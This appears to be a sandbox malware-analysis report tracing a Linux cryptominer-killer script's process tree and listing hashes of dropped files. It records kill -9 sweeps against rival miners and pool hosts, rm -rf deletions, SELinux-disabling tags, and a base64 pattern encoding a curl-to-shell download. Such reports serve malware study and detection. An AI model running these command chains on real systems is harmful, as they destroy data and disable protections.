/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1523
-
-
/bin/grepgrep -v grep2⤵PID:1520
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1519
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1528
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1527
-
-
/bin/grepgrep 83.220.169.2472⤵PID:1526
-
-
/bin/grepgrep -v grep2⤵PID:1525
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1524
-
-
/bin/grepgrep 51.38.203.1462⤵PID:1531
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1532
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1533
-
-
/bin/grepgrep -v grep2⤵PID:1530
-
-
/bin/psps aux2⤵PID:1529
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1537
-
-
/bin/grepgrep 144.217.45.452⤵PID:1536
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1538
-
-
/bin/grepgrep -v grep2⤵PID:1535
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1534
-
-
/bin/grepgrep 107.174.47.1812⤵PID:1541
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1542
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1543
-
-
/bin/grepgrep -v grep2⤵PID:1540
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1539
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1547
-
-
/bin/grepgrep 176.31.6.162⤵PID:1546
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1548
-
-
/bin/grepgrep -v grep2⤵PID:1545
-
-
/bin/psps aux2⤵PID:1544
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1552
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1553
-
-
/bin/grepgrep mine.moneropool.com2⤵PID:1551
-
-
/bin/grepgrep -v grep2⤵PID:1550
-
-
/bin/psps auxf2⤵PID:1549
-
-
/bin/grepgrep pool.t00ls.ru2⤵PID:1556
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1557
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1558
-
-
/bin/grepgrep -v grep2⤵PID:1555
-
-
/bin/psps auxf2⤵PID:1554
-
-
/bin/grepPID:1561
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1562
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1563
-
-
/bin/grepgrep -v grep2⤵PID:1560
-
-
/bin/psps auxf2⤵PID:1559
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1567
-
-
/bin/grepgrep monerohash.com2⤵PID:1566
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1568
-
-
/bin/grepgrep -v grep2⤵PID:1565
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1564
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1572
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1573
-
-
/bin/grepgrep /tmp/a7b104c2702⤵
- Disables SELinux
PID:1571
-
-
/bin/grepgrep -v grep2⤵PID:1570
-
-
/bin/psps auxf2⤵PID:1569
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1577
-
-
/bin/grepgrep stratum.f2pool.com:88882⤵PID:1576
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1578
-
-
/bin/grepgrep -v grep2⤵PID:1575
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1574
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1582
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1583
-
-
/bin/grepgrep xmrpool.eu2⤵PID:1581
-
-
/bin/grepgrep -v grep2⤵PID:1580
-
-
/bin/psps auxf2⤵PID:1579
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1588
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1587
-
-
/bin/grepgrep kieuanilam.me2⤵PID:1586
-
-
/bin/grepgrep -v grep2⤵PID:1585
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1584
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1592 -
/usr/local/sbin/killkill -9 15903⤵
- Disables SELinux
PID:1593
-
-
/usr/local/bin/killkill -9 15903⤵
- Disables SELinux
PID:1593
-
-
/usr/sbin/killkill -9 15903⤵
- Disables SELinux
PID:1593
-
-
/usr/bin/killkill -9 15903⤵
- Disables SELinux
PID:1593
-
-
/sbin/killkill -9 15903⤵
- Disables SELinux
PID:1593
-
-
/bin/killkill -9 15903⤵
- Disables SELinux
PID:1593
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1591
-
-
/bin/grepgrep xiaoyao2⤵PID:1590
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1589
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1596
-
-
/bin/grepgrep xiaoxue2⤵PID:1595
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1597
-
/usr/local/sbin/killkill -9 15953⤵PID:1598
-
-
/usr/local/bin/killkill -9 15953⤵PID:1598
-
-
/usr/sbin/killkill -9 15953⤵PID:1598
-
-
/usr/bin/killkill -9 15953⤵PID:1598
-
-
/sbin/killkill -9 15953⤵PID:1598
-
-
/bin/killkill -9 15953⤵PID:1598
-
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1594
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1602
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1601
-
-
/bin/grepgrep 46.243.253.152⤵PID:1600
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1603
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1604
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1608
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1607
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1609
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1610
-
-
/bin/grepgrep 176.31.6.162⤵PID:1606
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1612
-
-
/usr/bin/pgreppgrep -f L2Jpbi9iYXN2⤵PID:1611
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1614
-
-
/usr/bin/pgreppgrep -f xzpauectgr2⤵
- Reads CPU attributes
PID:1613
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1616
-
-
/usr/bin/pgreppgrep -f slxfbkmxtd2⤵PID:1615
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1618
-
-
/usr/bin/pgreppgrep -f mixtape2⤵
- Reads CPU attributes
PID:1617
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1620
-
-
/usr/bin/pgreppgrep -f addnj2⤵
- Reads CPU attributes
PID:1619
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1622
-
-
/usr/bin/pgreppgrep -f 200.68.17.1962⤵PID:1621
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1624
-
-
/usr/bin/pgreppgrep -f IyEvYmluL3NoCgpzUG2⤵
- Reads CPU attributes
PID:1623
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1626
-
-
/usr/bin/pgreppgrep -f KHdnZXQgLXFPLSBodHRw2⤵PID:1625
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1628
-
-
/usr/bin/pgreppgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS32⤵PID:1627
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1630
-
-
/usr/bin/pgreppgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo2⤵
- Reads runtime system information
PID:1629
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1632
-
-
/usr/bin/pgreppgrep -f mwyumwdbpq.conf2⤵
- Reads CPU attributes
PID:1631
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1634
-
-
/usr/bin/pgreppgrep -f honvbsasbf.conf2⤵PID:1633
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1636
-
-
/usr/bin/pgreppgrep -f mqdsflm.cf2⤵PID:1635
-
-
/usr/bin/pgreppgrep -f lower.sh2⤵
- Reads runtime system information
PID:1637
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1638
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1640
-
-
/usr/bin/pgreppgrep -f ./ppp2⤵
- Reads CPU attributes
PID:1639
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1642
-
-
/usr/bin/pgreppgrep -f ./seervceaess2⤵PID:1641
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1644
-
-
/usr/bin/pgreppgrep -f ./servceaess2⤵PID:1643
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1646
-
-
/usr/bin/pgreppgrep -f ./servceas2⤵
- Reads CPU attributes
PID:1645
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1648
-
-
/usr/bin/pgreppgrep -f ./servcesa2⤵PID:1647
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1650
-
-
/usr/bin/pgreppgrep -f ./vsp2⤵PID:1649
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1652
-
-
/usr/bin/pgreppgrep -f ./jvs2⤵PID:1651
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1654
-
-
/usr/bin/pgreppgrep -f ./pvv2⤵PID:1653
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1656
-
-
/usr/bin/pgreppgrep -f ./vpp2⤵PID:1655
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1658
-
-
/usr/bin/pgreppgrep -f ./pces2⤵PID:1657
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1660
-
-
/usr/bin/pgreppgrep -f ./rspce2⤵PID:1659
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1662
-
-
/usr/bin/pgreppgrep -f ./haveged2⤵
- Reads CPU attributes
PID:1661
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1664
-
-
/usr/bin/pgreppgrep -f ./jiba2⤵PID:1663
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1666
-
-
/usr/bin/pgreppgrep -f ./watchbog2⤵PID:1665
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1668
-
-
/usr/bin/pgreppgrep -f ./A7mA5gb2⤵PID:1667
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1670
-
-
/usr/bin/pgreppgrep -f kacpi_svc2⤵
- Reads CPU attributes
PID:1669
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1672
-
-
/usr/bin/pgreppgrep -f kswap_svc2⤵
- Reads runtime system information
PID:1671
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1674
-
-
/usr/bin/pgreppgrep -f kauditd_svc2⤵
- Reads runtime system information
PID:1673
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1676
-
-
/usr/bin/pgreppgrep -f kpsmoused_svc2⤵
- Reads runtime system information
PID:1675
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1678
-
-
/usr/bin/pgreppgrep -f kseriod_svc2⤵PID:1677
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1680
-
-
/usr/bin/pgreppgrep -f kthreadd_svc2⤵
- Reads runtime system information
PID:1679
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1682
-
-
/usr/bin/pgreppgrep -f ksoftirqd_svc2⤵PID:1681
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1684
-
-
/usr/bin/pgreppgrep -f kintegrityd_svc2⤵
- Reads runtime system information
PID:1683
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1686
-
-
/usr/bin/pgreppgrep -f jawa2⤵PID:1685
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1688
-
-
/usr/bin/pgreppgrep -f oracle.jpg2⤵PID:1687
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1690
-
-
/usr/bin/pgreppgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN2⤵PID:1689
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1692
-
-
/usr/bin/pgreppgrep -f 188.209.49.542⤵
- Reads CPU attributes
- Reads runtime system information
PID:1691
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1694
-
-
/usr/bin/pgreppgrep -f 181.214.87.2412⤵
- Reads runtime system information
PID:1693
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1696
-
-
/usr/bin/pgreppgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ2⤵PID:1695
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1698
-
-
/usr/bin/pgreppgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj2⤵PID:1697
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1700
-
-
/usr/bin/pgreppgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK2⤵PID:1699
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1702
-
-
/usr/bin/pgreppgrep -f servim2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1701
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1704
-
-
/usr/bin/pgreppgrep -f kblockd_svc2⤵
- Reads CPU attributes
PID:1703
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1706
-
-
/usr/bin/pgreppgrep -f native_svc2⤵PID:1705
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1708
-
-
/usr/bin/pgreppgrep -f ynn2⤵
- Reads CPU attributes
PID:1707
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1710
-
-
/usr/bin/pgreppgrep -f 65ccEJ72⤵PID:1709
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1712
-
-
/usr/bin/pgreppgrep -f jmxx2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1711
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1714
-
-
/usr/bin/pgreppgrep -f 2Ne80nA2⤵
- Reads CPU attributes
PID:1713
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1716
-
-
/usr/bin/pgreppgrep -f sysstats2⤵
- Reads CPU attributes
PID:1715
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1718
-
-
/usr/bin/pgreppgrep -f systemxlv2⤵PID:1717
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1720
-
-
/usr/bin/pgreppgrep -f watchbog2⤵PID:1719
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1722
-
-
/usr/bin/pgreppgrep -f OIcJi1m2⤵PID:1721
-
-
/usr/bin/pkillpkill -f biosetjenkins2⤵PID:1723
-
-
/usr/bin/pkillpkill -f Loopback2⤵PID:1724
-
-
/usr/bin/pkillpkill -f apaceha2⤵PID:1725
-
-
/usr/bin/pkillpkill -f mixnerdx2⤵PID:1726
-
-
/usr/bin/pkillpkill -f performedl2⤵PID:1727
-
-
/usr/bin/pkillpkill -f JnKihGjn2⤵PID:1728
-
-
/usr/bin/pkillpkill -f irqba2anc12⤵
- Reads CPU attributes
PID:1729
-
-
/usr/bin/pkillpkill -f irqba5xnc12⤵PID:1730
-
-
/usr/bin/pkillpkill -f irqbnc12⤵PID:1731
-
-
/usr/bin/pkillpkill -f ir29xc12⤵
- Reads CPU attributes
PID:1732
-
-
/usr/bin/pkillpkill -f conns2⤵
- Reads CPU attributes
PID:1733
-
-
/usr/bin/pkillpkill -f irqbalance2⤵PID:1734
-
-
/usr/bin/pkillpkill -f XJnRj2⤵PID:1735
-
-
/usr/bin/pkillpkill -f mgwsl2⤵PID:1736
-
-
/usr/bin/pkillpkill -f pythno2⤵
- Reads runtime system information
PID:1737
-
-
/usr/bin/pkillpkill -f jweri2⤵
- Reads CPU attributes
PID:1738
-
-
/usr/bin/pkillpkill -f lx262⤵
- Reads CPU attributes
PID:1739
-
-
/usr/bin/pkillpkill -f NXLAi2⤵
- Reads runtime system information
PID:1740
-
-
/usr/bin/pkillpkill -f BI5zj2⤵
- Reads CPU attributes
PID:1741
-
-
/usr/bin/pkillpkill -f askdljlqw2⤵PID:1742
-
-
/usr/bin/pkillpkill -f minerd2⤵PID:1743
-
-
/usr/bin/pkillpkill -f minergate2⤵
- Reads CPU attributes
PID:1744
-
-
/usr/bin/pkillpkill -f Guard.sh2⤵PID:1745
-
-
/usr/bin/pkillpkill -f ysaydh2⤵
- Reads CPU attributes
PID:1746
-
-
/usr/bin/pkillpkill -f bonns2⤵PID:1747
-
-
/usr/bin/pkillpkill -f donns2⤵PID:1748
-
-
/usr/bin/pkillpkill -f kxjd2⤵PID:1749
-
-
/usr/bin/pkillpkill -f Duck.sh2⤵PID:1750
-
-
/usr/bin/pkillpkill -f bonn.sh2⤵PID:1751
-
-
/usr/bin/pkillpkill -f conn.sh2⤵PID:1752
-
-
/usr/bin/pkillpkill -f kworker342⤵PID:1753
-
-
/usr/bin/pkillpkill -f kw.sh2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1754
-
-
/usr/bin/pkillpkill -f pro.sh2⤵PID:1755
-
-
/usr/bin/pkillpkill -f polkitd2⤵PID:1756
-
-
/usr/bin/pkillpkill -f acpid2⤵PID:1757
-
-
/usr/bin/pkillpkill -f icb5o2⤵PID:1758
-
-
/usr/bin/pkillpkill -f nopxi2⤵PID:1759
-
-
/usr/bin/pkillpkill -f irqbalanc12⤵
- Reads runtime system information
PID:1760
-
-
/usr/bin/pkillpkill -f minerd2⤵PID:1761
-
-
/usr/bin/pkillpkill -f i5862⤵PID:1762
-
-
/usr/bin/pkillpkill -f gddr2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1763
-
-
/usr/bin/pkillpkill -f mstxmr2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1764
-
-
/usr/bin/pkillpkill -f ddg.20112⤵PID:1765
-
-
/usr/bin/pkillpkill -f wnTKYg2⤵PID:1766
-
-
/usr/bin/pkillpkill -f deamon2⤵
- Reads CPU attributes
PID:1767
-
-
/usr/bin/pkillpkill -f disk_genius2⤵PID:1768
-
-
/usr/bin/pkillpkill -f sourplum2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1769
-
-
/usr/bin/pkillpkill -f polkitd2⤵PID:1770
-
-
/usr/bin/pkillpkill -f nanoWatch2⤵PID:1771
-
-
/usr/bin/pkillpkill -f zigw2⤵PID:1772
-
-
/usr/bin/pkillpkill -f devtool2⤵PID:1773
-
-
/usr/bin/pkillpkill -f devtools2⤵
- Reads runtime system information
PID:1774
-
-
/usr/bin/pkillpkill -f systemctI2⤵
- Reads runtime system information
PID:1775
-
-
/usr/bin/pkillpkill -f watchbog2⤵PID:1776
-
-
/usr/bin/pkillpkill -f sustes2⤵PID:1777
-
-
/usr/bin/pkillpkill -f xmrig2⤵
- Reads CPU attributes
PID:1778
-
-
/usr/bin/pkillpkill -f xmrig-cpu2⤵PID:1779
-
-
/usr/bin/pkillpkill -f 121.42.151.1372⤵
- Reads runtime system information
PID:1780
-
-
/usr/bin/pkillpkill -f init12.cfg2⤵PID:1781
-
-
/usr/bin/pkillpkill -f nginxk2⤵PID:1782
-
-
/usr/bin/pkillpkill -f tmp/wc.conf2⤵
- Reads CPU attributes
PID:1783
-
-
/usr/bin/pkillpkill -f xmrig-notls2⤵PID:1784
-
-
/usr/bin/pkillpkill -f xmr-stak2⤵
- Reads runtime system information
PID:1785
-
-
/usr/bin/pkillpkill -f suppoie2⤵PID:1786
-
-
/usr/bin/pkillpkill -f zer0day.ru2⤵PID:1787
-
-
/usr/bin/pkillpkill -f dbus-daemon--system2⤵
- Reads runtime system information
PID:1788
-
-
/usr/bin/pkillpkill -f nullcrew2⤵PID:1789
-
-
/usr/bin/pkillpkill -f systemctI2⤵PID:1790
-
-
/usr/bin/pkillpkill -f kworkerds2⤵
- Reads runtime system information
PID:1791
-
-
/usr/bin/pkillpkill -f init10.cfg2⤵
- Reads CPU attributes
PID:1792
-
-
/usr/bin/pkillpkill -f /wl.conf2⤵PID:1793
-
-
/usr/bin/pkillpkill -f crond642⤵PID:1794
-
-
/usr/bin/pkillpkill -f sustse2⤵PID:1795
-
-
/usr/bin/pkillpkill -f vmlinuz2⤵PID:1796
-
-
/usr/bin/pkillpkill -f exin2⤵
- Reads CPU attributes
PID:1797
-
-
/usr/bin/pkillpkill -f apachiii2⤵PID:1798
-
-
/usr/bin/pkillpkill -f svcworkmanager2⤵PID:1799
-
-
/usr/bin/pkillpkill -f xr2⤵PID:1800
-
-
/usr/bin/pkillpkill -f trace2⤵PID:1801
-
-
/usr/bin/pkillpkill -f svcupdate2⤵PID:1802
-
-
/usr/bin/pkillpkill -f networkmanager2⤵PID:1803
-
-
/usr/bin/pkillpkill -f phpupdate2⤵PID:1804
-
-
/bin/rmrm -rf /usr/bin/config.json2⤵PID:1805
-
-
/bin/rmrm -rf /usr/bin/exin2⤵PID:1806
-
-
/bin/rmrm -rf /tmp/wc.conf2⤵PID:1807
-
-
/bin/rmrm -rf /tmp/log_rot2⤵PID:1808
-
-
/bin/rmrm -rf /tmp/apachiii2⤵PID:1809
-
-
/bin/rmrm -rf /tmp/sustse2⤵PID:1810
-
-
/bin/rmrm -rf /tmp/php2⤵PID:1811
-
-
/bin/rmrm -rf /tmp/p2.conf2⤵PID:1812
-
-
/bin/rmrm -rf /tmp/pprt2⤵PID:1813
-
-
/bin/rmrm -rf /tmp/ppol2⤵PID:1814
-
-
/bin/rmrm -rf /tmp/javax/config.sh2⤵PID:1815
-
-
/bin/rmrm -rf /tmp/javax/sshd22⤵PID:1816
-
-
/bin/rmrm -rf /tmp/.profile2⤵PID:1817
-
-
/bin/rmrm -rf /tmp/1.so2⤵PID:1818
-
-
/bin/rmrm -rf /tmp/kworkerds2⤵PID:1819
-
-
/bin/rmrm -rf /tmp/kworkerds32⤵PID:1820
-
-
/bin/rmrm -rf /tmp/kworkerdssx2⤵PID:1821
-
-
/bin/rmrm -rf /tmp/xd.json2⤵PID:1822
-
-
/bin/rmrm -rf /tmp/syslogd2⤵PID:1823
-
-
/bin/rmrm -rf /tmp/syslogdb2⤵PID:1824
-
-
/bin/rmrm -rf /tmp/65ccEJ72⤵PID:1825
-
-
/bin/rmrm -rf /tmp/jmxx2⤵PID:1826
-
-
/bin/rmrm -rf /tmp/2Ne80nA2⤵PID:1827
-
-
/bin/rmrm -rf /tmp/dl2⤵PID:1828
-
-
/bin/rmrm -rf /tmp/ddg2⤵PID:1829
-
-
/bin/rmrm -rf /tmp/systemxlv2⤵PID:1830
-
-
/bin/rmrm -rf /tmp/systemctI2⤵PID:1831
-
-
/bin/rmrm -rf /tmp/.abc2⤵PID:1832
-
-
/bin/rmrm -rf /tmp/osw.hb2⤵PID:1833
-
-
/usr/sbin/sendmailsendmail -t1⤵PID:744
-
/usr/sbin/exim4/usr/sbin/exim4 -Mc 1rxaUM-0000C0-Qt2⤵
- Reads CPU attributes
PID:758
-
-
/usr/sbin/sendmailsendmail -t1⤵PID:747
-
/usr/sbin/exim4/usr/sbin/exim4 -Mc 1rxaUM-0000C3-R42⤵PID:759
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Enumerates kernel/hardware configuration
PID:770
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:771
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2B
MD5b026324c6904b2a9cb4b88d6d61c81d1
SHA1e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e
SHA2564355a46b19d348dc2f57c046f8ef63d4538ebb936000f3c9ee954a27460dd865
SHA5123abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686
-
Filesize
14KB
MD55a1d285f538d224e075f75755302621b
SHA1f9bd614b6995389aa4b2ea2a41233d5e0469212d
SHA25608fa886f738c5da2a820b8cc4455653284eab614b5ff4fce24e9e6037e46c5e7
SHA512b796178dec441b764f8187aacd1dc21812e50ac86430b2c59d46a814ca76259cbf1f9ba2ff547ebd84896370dbe65de2ea49997c88b457d8ff78461010c27e5e
-
Filesize
825B
MD57501e944a79b288bc9e00cb822d3e3e9
SHA18db84c354f26f023bb5b938c66b81ad60c25aaf2
SHA2563de8bce67a1c1370a202999ad8aa8c201d3f0cc99762749c622c6b80805faf49
SHA5120150fe38d82e36831ad821027f740400880172c0753534cf47848d005d08d4e068ab1450d7dca8056c1d9cdb6ab354934866a13592cdbf5825fa80d593523240
-
Filesize
1KB
MD59f0e5a9c248c2a77777abd42f26916f2
SHA17472e9e02d7f14b3c9d4607423c399252c82bfd6
SHA256d9da234e839af380d8c8aad7d0935321cb71a8e0c3f6b5e0f782ca623050c229
SHA512225537f37a92128d88a4bf4d2179f8ecde0824c98dc18b8230358c6a0fc85c0aea6c05cabb14fd38f6e5c8e6bba08aaf9d12e4aae7090a0784085b327319ef65
-
Filesize
2KB
MD502139615d11857673d8378e25f049fef
SHA17c440ed1060b55d4b4c8102b6004ead15cc54798
SHA256706977e4d2de1242e415baa84ecca8de6fab2254d052091830f7c681f07e6815
SHA512314cf82c892aab54bf20325e0731427d51a7f2ad76570e639620117b97390ebafd6f9f50247a86ebe2c160a931a99611fa2dd362fd7484d868724e4ceb1e2d7d
-
Filesize
3KB
MD5049400cf628dc1f5df7ee66cd478cb89
SHA135ed16341ad2e880442f6fe70f88adb11c2c569f
SHA25657663f843edc6d5a951588e6005e9b09197804cbf8cfabf22122bb72db0ab6f6
SHA512a7fdd4d0a6611ca282fd7f57dd7cb06c23a6e0b9567df45230be5cb6f34a8c5e8971ea139893f49a732be35caf8372fdbe866c9bf33f714b07e7cbc0682ca1bb
-
Filesize
4KB
MD5765b25a26702c27b5a5bf923ec3c76e3
SHA127e70764ca4764927e1faf3dcbc89a9a09c78a3f
SHA256466e4f20317799954fce7c5fbfb88ca0d8d9232834ed96d6946b420a8fba65f7
SHA5128eb571ed725a27ce94b858e672dab2585271e4e80d1eaa307fd5f28d317b24a7b3043f71437398b4a82630b002d95d37ae7d7c513b29020265991de91c8193af
-
Filesize
4KB
MD5b68a17ce2e346fd82e861ecd6b281496
SHA1417dae2ed77689c0157cc7dd492444cc5b756b1c
SHA2566c94134c61f70291338b1498c155db40994d9002ad80ea221352127ff290865b
SHA5125afb96073f92fe2b48b1ecb8ad5557762ec839e39f6229037195d30a7470e629db77e802ad6f483bf7354df5f6e14d0b8bc6e28ac6325f0f0bee4a9f72ec7422
-
Filesize
128B
MD571066204ac4edf1a2542b851f4c65712
SHA1f2bfa3b3a66bacd3f0fa40892e676e862378faf1
SHA25607da6a283b3ab4f360b213034f8e3bd21dc889de12c667f28187cfd8a0f0b9f2
SHA5122e52b767ebc9e22d229f9fcbc29b4cf10db8eef786c2a6ff672afcc5b3bb963a1dcf2ae33273c28724f387096e495c984641b5616b27eee25181d47b1eabfad4
-
Filesize
34B
MD5d7d96d63d643a4ce3e408eba7dfcedc5
SHA1c53607f95c5c57beafc1d8266646797a035f76ea
SHA25621db3a59b2d0ce18fb250b787d6e2c85d12919f5fdf1448c8f48207c4083b159
SHA512703a03e54776a6ad9b8adc6c475bbc91c06502618fa3b6f495b1a01a4f6f7aa6fb65dc6ba6885ddc6af961627062f1ce1e1d66688288cbd3bef7754d249fa9b3
-
Filesize
146B
MD56809b896c9d298dc6695dd2ac4a2ea0f
SHA1a4e1d67020873273edbffdcb2d786f165c8147f1
SHA2567f8db5f3d74ef10654919a1072b4fba5980bb638467034d4705a4265f3400f88
SHA512c577bf2c2d012fcca8f7bc5cb148346de15384f067bf92b0631762ca16bf8b2a92abf15fd70feb458f2a34293d8c3742073b77556433adfd93cbfd97412732b4
-
Filesize
128B
MD522de269bec7da545a109352f60adc21d
SHA1149ecd1cce953d8268f233a51e78274075dcf370
SHA25653f653e3f3b823ed4f5185c4a170b60bb5d16f031455bd93628e1c809e1fa6a2
